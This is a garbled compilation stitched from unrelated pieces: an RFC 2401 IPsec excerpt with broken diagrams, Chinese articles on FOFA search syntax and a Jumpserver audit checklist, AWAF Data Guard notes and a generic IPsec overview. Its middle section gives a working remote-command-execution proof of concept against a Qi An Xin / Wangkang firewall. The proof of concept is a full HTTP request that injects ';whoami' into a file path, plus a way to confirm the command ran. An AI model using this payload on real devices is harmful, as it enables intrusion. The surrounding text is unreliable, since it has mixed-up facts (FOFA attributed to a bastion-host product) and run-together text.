applicablein the point-to-multipoint case as well.As noted above, two types of SAs are defined: transport mode andtunnel mode. A transport mode SA is a security association betweentwo hosts. In IPv4, a transport mode security protocol headerappears immediately after the IP header and any options, and beforeany higher layer protocols (e.g., TCP or UDP). In IPv6, the security protocol header appears after the base IP header and extensions, but may appear before or after destination options, and before higherlayer protocols. In the case of ESP, a transport mode SA providessecurity services only for these higher layer protocols, not for the IP header or any extension headers preceding the ESP header. In the case of AH, the protection is also extended to selected portions ofthe IP header, selected portions of extension headers, and selectedoptions (contained in the IPv4 header, IPv6 Hop-by-Hop extensionheader, or IPv6 Destination extension headers). For more details on the coverage afforded by AH, see the AH specification [KA98a].A tunnel mode SA is essentially an SA applied to an IP tunnel.Whenever either end of a security association is a security gateway, the SA MUST be tunnel mode. Thus an SA between two security gateways is always a tunnel mode SA, as is an SA between a host and a security gateway. Note that for the case where traffic is destined for asecurity gateway, e.g., SNMP commands, the security gateway is acting as a host and transport mode is allowed. But in that case, thesecurity gateway is not acting as a gateway, i.e., not transitingtraffic. Two hosts MAY establish a tunnel mode SA betweenthemselves. The requirement for any (transit traffic) SA involving a security gateway to be a tunnel SA arises due to the need to avoidpotential problems with regard to fragmentation and reassembly ofIPsec packets, and in circumstances where multiple paths (e.g., viadifferent security gateways) exist to the same destination behind the security gateways.For a tunnel mode SA, there is an "outer" IP header that specifiesthe IPsec processing destination, plus an "inner" IP header thatspecifies the (apparently) ultimate destination for the packet. The security protocol header appears after the outer IP header, andbefore the inner IP header. If AH is employed in tunnel mode,portions of the outer IP header are afforded protection (as above),as well as all of the tunneled IP packet (i.e., all of the inner IPheader is protected, as well as higher layer protocols). If ESP isemployed, the protection is afforded only to the tunneled packet, not to the outer header.Kent & Atkinson Standards Track [Page 9]In summary,a) A host MUST support both transport and tunnel mode.b) A security gateway is required to support only tunnelmode. If it supports transport mode, that should be used only when the security gateway is acting as a host, e.g., for network management.4.2 Security Association FunctionalityThe set of security services offered by an SA depends on the security protocol selected, the SA mode, the endpoints of the SA, and on theelection of optional services within the protocol. For example, AHprovides data origin authentication and connectionless integrity for IP datagrams (hereafter referred to as just "authentication"). The"precision" of the authentication service is a function of thegranularity of the security association with which AH is employed, as discussed in Section 4.4.2, "Selectors".AH also offers an anti-replay (partial sequence integrity) service at the discretion of the receiver, to help counter denial of serviceattacks. AH is an appropriate protocol to employ whenconfidentiality is not required (or is not permitted, e.g , due togovernment restrictions on use of encryption). AH also providesauthentication for selected portions of the IP header, which may benecessary in some contexts. For example, if the integrity of an IPv4 option or IPv6 extension header must be protected en route betweensender and receiver, AH can provide this service (except for thenon-predictable but mutable parts of the IP header.)ESP optionally provides confidentiality for traffic. (The strengthof the confidentiality service depends in part, on the encryptionalgorithm employed.) ESP also may optionally provide authentication (as defined above). If authentication is negotiated for an ESP SA,the receiver also may elect to enforce an anti-replay service withthe same features as the AH anti-replay service. The scope of theauthentication offered by ESP is narrower than for AH, i.e., the IPheader(s) "outside" the ESP header is(are) not protected. If onlythe upper layer protocols need to be authenticated, then ESPauthentication is an appropriate choice and is more space efficientthan use of AH encapsulating ESP. Note that although bothconfidentiality and authentication are optional, they cannot both be omitted. At least one of them MUST be selected.If confidentiality service is selected, then an ESP (tunnel mode) SA between two security gateways can offer partial traffic flowconfidentiality. The use of tunnel mode allows the inner IP headers to be encrypted, concealing the identities of the (ultimate) traffic source and destination. Moreover, ESP payload padding also can be Kent & Atkinson Standards Track [Page 10]invoked to hide the size of the packets, further concealing theexternal characteristics of the traffic. Similar traffic flowconfidentiality services may be offered when a mobile user isassigned a dynamic IP address in a dialup context, and establishes a (tunnel mode) ESP SA to a corporate firewall (acting as a securitygateway). Note that fine granularity SAs generally are morevulnerable to traffic analysis than coarse granularity ones which are carrying traffic from many subscribers.4.3 Combining Security AssociationsThe IP datagrams transmitted over an individual SA are affordedprotection by exactly one security protocol, either AH or ESP, butnot both. Sometimes a security policy may call for a combination of services for a particular traffic flow that is not achievable with a single SA. In such instances it will be necessary to employ multiple SAs to implement the required security policy. The term "securityassociation bundle" or "SA bundle" is applied to a sequence of SAsthrough which traffic must be processed to satisfy a security policy. The order of the sequence is defined by the policy. (Note that theSAs that comprise a bundle may terminate at different endpoints. For example, one SA may extend between a mobile host and a securitygateway and a second, nested SA may extend to a host behind thegateway.)Security associations may be combined into bundles in two ways:transport adjacency and iterated tunneling.o Transport adjacency refers to applying more than onesecurity protocol to the same IP datagram, without invoking tunneling. This approach to combining AH and ESP allowsfor only one level of combination; further nesting yieldsno added benefit (assuming use of adequately strongalgorithms in each protocol) since the processing isperformed at one IPsec instance at the (ultimate)destination.Host 1 --- Security ---- Internet -- Security --- Host 2| | Gwy 1 Gwy 2 | || | | || -----Security Association 1 (ESP transport)------- || |-------Security Association 2 (AH transport)----------o Iterated tunneling refers to the application of multiplelayers of security protocols effected through IP tunneling. This approach allows for multiple levels of nesting, since each tunnel can originate or terminate at a different IPsec Kent & Atkinson Standards Track [Page 11]site along the path. No special treatment is expected for ISAKMP traffic at intermediate security gateways other than what can be specified through appropriate SPD entries (See Case 3 in Section 4.5)There are 3 basic cases of iterated tunneling -- support is required only for cases 2 and 3.:1. both endpoints for the SAs are the same -- The inner and outer tunnels could each be either AH or ESP, though it is unlikely that Host 1 would specify both to be thesame, i.e., AH inside of AH or ESP inside of ESP.Host 1 --- Security ---- Internet -- Security --- Host 2 | | Gwy 1 Gwy 2 | | | | | | | -------Security Association 1 (tunnel)---------- | | | | ---------Security Association 2 (tunnel)-------------- 2. one endpoint of the SAs is the same -- The inner anduter tunnels could each be either AH or ESP.Host 1 --- Security ---- Internet -- Security --- Host 2 | | Gwy 1 Gwy 2 || | | || ----Security Association 1 (tunnel)---- || |---------Security Association 2 (tunnel)-------------3. neither endpoint is the same -- The inner and outertunnels could each be either AH or ESP.Host 1 --- Security ---- Internet -- Security --- Host 2 | Gwy 1 Gwy 2 || | | || --Security Assoc 1 (tunnel)- || |-----------Security Association 2 (tunnel)-----------These two approaches also can be combined, e.g., an SA bundle couldbe constructed from one tunnel mode SA and one or two transport mode SAs, applied in sequence. (See Section 4.5 "Basic Combinations ofSecurity Associations.") Note that nested tunnels can also occurwhere neither the source nor the destination endpoints of any of the tunnels are the same. In that case, there would be no host orsecurity gateway with a bundle corresponding to the nested tunnels. Kent & Atkinson Standards Track [Page 12]。

思福迪堡垒机 fofa语法思福迪堡垒机是一种网络安全产品，可以帮助企业保护网络安全。

它的FOFA语法也是其中的一项重要功能，FOFA语法可以帮助用户快速地搜索指定的漏洞和威胁。

本篇文章将为大家介绍FOFA语法的相关内容，希望能够帮助大家更好地使用思福迪堡垒机。

一、什么是FOFA语法FOFA语法是思福迪堡垒机中的一种搜索语法，可以用来搜索各种网络威胁和漏洞。

FOFA语法包含了各种网络数据的特征，用户可以使用这些特征进行搜索和分析。

FOFA语法可以帮助用户快速地定位目标，减少安全风险。

FOFA语法一般由关键词和操作符组成，可以使用多个操作符进行组合，形成复杂的搜索语句。

下面是FOFA语法的一些常见格式：1. 搜索关键词的格式：关键词:搜索内容搜索所有使用Apache服务器的网站：server: Apache关键词1 && 关键词2&&表示“且”的关系，同时满足两个条件。

3. 或者的格式：4. 区间范围的格式：关键词:{范围开始值 TO 范围结束值}搜索IP地址为192.168.1.1到192.168.1.100的主机：5. 远程文件包含漏洞的格式：file: [filename]搜索网站是否存在远程文件包含漏洞：file: php6. 确定网站路径的格式：path:路径搜索网站URL路径中包含admin的网站：path: adminFOFA语法的应用非常广泛，可以用来搜索网络漏洞、确定目标网络的结构、搜集目标网站的敏感信息等。

下面以搜索远程文件包含漏洞为例，来介绍FOFA语法的应用。

1. 确定搜索目标我们需要明确搜索的目标。

我们要搜索是否存在远程文件包含漏洞的网站，我们需要明确搜索的指标，也就是要搜索的文件类型。

通常来说，如果要搜索远程文件包含漏洞，可以搜索一些常见的脚本文件，比如.php、.asp、.aspx等。

2. 编写FOFA语法在确定搜索目标之后，我们就可以开始编写FOFA语法了。

网络安全配置命令英语简称1. ACL (Access Control List) - 访问控制列表2. ARP (Address Resolution Protocol) - 地址解析协议3. BGP (Border Gateway Protocol) - 边界网关协议4. DHCP (Dynamic Host Configuration Protocol) - 动态主机配置协议5. DNS (Domain Name System) - 域名系统6. FTP (File Transfer Protocol) - 文件传输协议7. HTTP (Hypertext Transfer Protocol) - 超文本传输协议8. HTTPS (Hypertext Transfer Protocol Secure) - 安全超文本传输协议9. ICMP (Internet Control Message Protocol) - 互联网控制消息协议10. IP (Internet Protocol) - 网际协议11. IPSec (Internet Protocol Security) - 网际协议安全性12. NAT (Network Address Translation) - 网络地址转换13. NTP (Network Time Protocol) - 网络时间协议14. OSPF (Open Shortest Path First) - 开放最短路径优先路由协议15. PPP (Point-to-Point Protocol) - 点对点协议16. RARP (Reverse Address Resolution Protocol) - 反向地址解析协议17. SMTP (Simple Mail Transfer Protocol) - 简单邮件传输协议18. SNMP (Simple Network Management Protocol) - 简单网络管理协议19. SSH (Secure Shell) - 安全外壳协议20. SSL (Secure Sockets Layer) - 安全套接层21. TCP (Transmission Control Protocol) - 传输控制协议22. Telnet (Telecommunication Network) - 远程登录服务23. TFTP (Trivial File Transfer Protocol) - 简单文件传输协议24. UDP (User Datagram Protocol) - 用户数据报协议25. VLAN (Virtual Local Area Network) - 虚拟局域网26. VPN (Virtual Private Network) - 虚拟私人网络27. VRRP (Virtual Router Redundancy Protocol) - 虚拟路由器冗余协议28. WEP (Wired Equivalent Privacy) - 有线等效保密29. WPA (Wi-Fi Protected Access) - Wi-Fi保护接入30. WPA2 (Wi-Fi Protected Access II) - Wi-Fi保护接入II。

2021年最新HW漏洞奇安信防⽕墙⽹康下⼀代RCE漏洞细节参考漏洞信息：漏洞名称：奇安信⽹康下⼀代防⽕墙 RCE漏洞。

漏洞性质：远程命令执⾏漏洞利⽤特点：命令执⾏之后没有回显利⽤⽅式：防⽕墙使⽤linux进⾏开发的，可以使⽤echo xxx >123.txt这样的⽅式写⼊⽂件。

当⽂件⽣成⽬录在⽹站根⽬录下就可以直接访问了。

POCPOST /directdata/direct/router HTTP/1.1Host: x.x.x.xConnection: closeCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://x.x.x.x/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length: 178{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}注意POS路径POST /directdata/direct/router和命令执⾏这段{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}命令结果不回显，但可以看返回代码确认执⾏成功与否[{"type":"rpc","tid":17,"action":"SSLVPN_Resource","method":"deleteImage","result":{"success":true}}]看到带true字样就是命令执⾏成功。

Jumpserver是一款开源的堡垒机系统，被广泛用于企业内部网络的安全管理和控制。

为了确保Jumpserver的安全和可靠性，进行4A审计是非常重要的。

4A审计标准是指认证、授权、审计、认证四个方面的标准，用于评估和检查Jumpserver系统的安全性和可用性。

以下是针对Jumpserver 4A审计标准的内容：一、认证1. 确保Jumpserver系统的身份认证功能能够有效地验证用户的身份，防止未经授权的访问。

2. 检查用户认证过程中是否存在漏洞和弱点，保证用户凭证的安全性。

3. 确保Jumpserver系统的认证方式能够满足企业的安全要求和政策。

二、授权1. 确保Jumpserver系统能够对用户进行精细的授权管理，包括对用户的访问权限、操作权限和资源权限进行控制和管理。

2. 检查授权策略是否合理和有效，确保用户只能访问其授权的资源。

3. 确保授权管理的流程和机制是安全可靠的，避免授权过程中的风险和安全隐患。

三、审计1. 确保Jumpserver系统能够对用户的操作和访问进行全面的审计和记录，包括登录日志、操作日志、访问日志等。

2. 检查审计功能的完整性和可靠性，保证审计记录的真实性和准确性。

3. 确保审计记录能够满足企业对安全合规性的要求，以及对安全事件的追踪和调查需求。

四、认证1. 确保Jumpserver系统的认证策略和机制能够确保系统的安全和稳定性。

2. 检查认证过程中是否存在漏洞和风险，及时进行修复和加固。

3. 确保认证功能能够满足企业对安全合规性的要求，以及对安全事件的处理和应对需求。

在进行Jumpserver 4A审计时，需要严格按照以上标准进行评估和检查，确保系统的安全性和稳定性。

还需要根据实际情况和企业的需求进行定制化的审计，以确保Jumpserver系统能够满足企业的安全要求和政策。

通过严格的4A审计，可以帮助企业发现和解决Jumpserver系统存在的安全风险和问题，提升系统的安全性和可用性。

AWAF知识点学习AWAF知识点Data GuardData Guard是在HTTP响应中防⽌铭感数据泄露的，⽐如在HTTP响应中包含了信⽤卡信息、U.S.Social Security number等，或者是⾃定义的信息。

有两种防护⽅式当Policy是Blocking的时候，如果响应中包含了敏感信息，AWAF会拦截这个响应AWAF也可以对敏感信息进⾏加密，只有在Policy是Transparent或者是Bolcking但是Data Guard是Alarm/Learn的时候才会加密，加密的形式是*，并且需要勾选Mask Data可以使⽤⾃定义的Patterns来本地化定义⾝份证信息或电话号4[0-9]{3}-[0-9]{4}-[0-9]{4}-#表⽰以4开头的前⼗⼆位数为敏感数据，AWAF将对其进⾏隐藏#[]表⽰0-9的数字；{}表⽰数的位数Exception Patterns该选项表⽰指定系统认为那些不是铭感数据File Content Detection指定系统是否检查⽂件内容的响应，如果是，哪些类型的⽂件内容被视为敏感数据。

这可以防⽌服务器将您不希望返回给⽤户的⽂件内容传递给⽤户。

Enforcement Mode⽤于指定Data Guard对那些URL进⾏防护Ignore URLs---Data Guard会防护所有的URL，除了列表中的Enforce URLs---Data Guard会防护列表中的URL，即使该URL并不在Security Policy中AWAF将Cookie分为两种，分别是Allowed和EnforcedAllowed类型的Cookie⼀般是Persistent Cookie、Single Sign On Cookie、或者是其他的合法的Cookie。

当这类Cookie背设置为Allow，AWAF会忽略并不会触发告警；Allowed Cookie可以设置Explicit和Wildcard两种Enforced类型的Cookie是在客户端侧不应该被修改的。

RFC4301IP安全架构The IPsec architecture is designed to provide confidentiality, integrity, and authentication for IP communications. It consists of two main components: the Authentication Header (AH) protocol and the Encapsulating Security Payload (ESP) protocol. These two protocols provide different security services and can be used in combination to achieve different security goals.The AH protocol provides authentication and integrity protection for IP packets. It does this by calculating a hash of the packet contents and including it in the packet header. This allows the recipient of the packet to verify that it has not been tampered with during transit. The AH protocol does not provide confidentiality, so it is often used in combination with the ESP protocol to provide a more comprehensive security solution.The ESP protocol provides encryption, authentication, and integrity protection for IP packets. It does this by encapsulating the original IP packet within a new packet that includes additional security information. This allows the recipient of the packet to decrypt the original IP packet and verify its integrity. The ESP protocol can be used with different encryption algorithms and key exchange protocols to provide varying levels of security.In addition to the AH and ESP protocols, the IPsec architecture also includes key management protocols and algorithms. These are used to establish and maintain the security associations that are used to secure IP communications. The key management protocols provide a way for devices to negotiate the security parameters that will be used for a given communication session, including the encryption algorithm and key length. Overall, the IPsec architecture provides a robust framework for securing IP communications. By combining the AH and ESP protocols with key management protocols, organizations and individuals can ensure that their IP communications are protected against unauthorized access, tampering, and eavesdropping. This can help to prevent data breaches and other security incidents, and ensure the confidentiality, integrity, and authenticity of IP communications.IPsec Architecture and ComponentsThe IP Security (IPsec) architecture is a fundamental aspect of network security, providing a framework for securing IP communications. It represents a comprehensive suite of protocols and algorithms that work together to ensure that data transmitted over IP networks remains confidential, maintains its integrity, and is properly authenticated.The core components of the IPsec architecture include the Authentication Header (AH) protocol, the Encapsulating Security Payload (ESP) protocol, and key management protocols. These components work in conjunction to provide different security services, including authentication, encryption, and key management.Authentication Header (AH) ProtocolThe Authentication Header (AH) protocol is one of the main components of the IPsec architecture. It provides authentication and integrity protection for IP packets by calculating a hash of the packet contents and including it in the packet header. This hash, known as an Integrity Check Value (ICV), enables the recipient to verify that the packet has not been altered during transit.The AH protocol does not provide confidentiality for the packet contents, as the original data is not encrypted. Instead, it focuses on ensuring the authenticity and integrity of the packet. By using the AH protocol, organizations can be certain that the data they receive has not been tampered with and is indeed from the expected sender.Encapsulating Security Payload (ESP) ProtocolThe Encapsulating Security Payload (ESP) protocol is another essential component of the IPsec architecture. It offers encryption, authentication, and integrity protection for IP packets by encapsulating the original IP packet within a new packet that includes additional security information.The ESP protocol facilitates the encryption of the original IP packet, making its contents confidential. It also includes mechanisms for the recipient to authenticate and verify the integrity of the encrypted packet. By utilizing the ESP protocol, organizations can safeguard their sensitive data against unauthorized access and eavesdropping during transmission.Key Management ProtocolsIn addition to the AH and ESP protocols, key management plays a crucial role in the IPsec architecture. Key management protocols are responsible for establishing and maintaining security associations, which define the parameters used to secure IP communications. These parameters include the encryption algorithm, key length, and other security attributes.Key management protocols enable devices to negotiate and agree on the security parameters to be used for a specific communication session. They ensure that both communicating parties use the same security parameters, thereby allowing secure and seamless transmission of data. Common key management protocols used in the IPsec architecture include the Internet Key Exchange (IKE) and the IKEv2 protocol.Security Services Provided by IPsecThe IPsec architecture offers a range of security services that are vital for safeguarding IP communications:Confidentiality: With the ESP protocol, IPsec ensures that the contents of IP packets are encrypted, preventing unauthorized access and eavesdropping.Integrity: Both the AH and ESP protocols provide mechanisms to verify the integrity of IP packets, allowing recipients to ensure that the data has not been altered in transit.Authentication: Through the AH protocol and mutual authentication mechanisms within key management protocols, IPsec enables the verification of the origin and identity of the communicating parties.Anti-Replay Protection: IPsec includes safeguards against replay attacks, ensuring that duplicated or retransmitted packets are detected and mitigated.Data Origin Authentication: The AH and ESP protocols support the authentication of the source of an IP packet, allowing recipients to confirm that the sender is indeed the expected party.IPsec Deployment and ImplementationOrganizations and individuals can implement IPsec in various ways to enhance the security of their network communications. This may involve deploying IPsec-capable devices, such as firewalls, routers, and VPN gateways, to apply IPsec security measures to the traffic flowing through the network.IPsec can be applied in different scenarios, including site-to-site VPNs, remote access VPNs, and secure communication between individual hosts or networks. By leveraging IPsec, organizations can create secure, private communication channels across public IP networks, ensuring the confidentiality and integrity of their data transmissions.Furthermore, IPsec can be integrated into various network architectures, including traditional on-premises networks, cloud environments, and hybrid infrastructures. The flexibility and versatility of IPsec make it a viable solution for securing communications across diverse network environments.Challenges and ConsiderationsWhile IPsec offers robust security benefits, its implementation and management come with specific challenges and considerations:Complexity: Implementing IPsec requires a good understanding of security protocols, encryption algorithms, and key management. It can be complex to set up and maintain, especially in large-scale network environments.Interoperability: Ensuring seamless interoperability between different IPsec implementations and devices from various vendors can be challenging. Compatible configurations and settings are essential for successful IPsec deployments.Performance Impact: The encryption and decryption processes involved in IPsec can introduce processing overhead, potentially impacting network performance. Careful consideration of performance implications is necessary, especially for high-throughput network environments.Key Management: Managing encryption keys and security associations is critical for the effective operation of IPsec. Proper key management practices, including key generation, distribution, and revocation, are essential for maintaining the security of IPsec communications.ConclusionThe IPsec architecture represents a powerful framework for securing IP communications, providing essential security services such as confidentiality, integrity, and authentication. By incorporating the Authentication Header (AH) protocol, the Encapsulating Security Payload (ESP) protocol, and key management mechanisms, IPsec enables organizations and individuals to safeguard their data transmissions against unauthorized access and tampering.Careful deployment and management of IPsec are necessary to address the complexities and considerations associated with its implementation. Despite the challenges, the security benefits of IPsec make it a valuable tool for fortifying network communications and ensuring the privacy, integrity, and trustworthiness of data transmitted over IP networks.。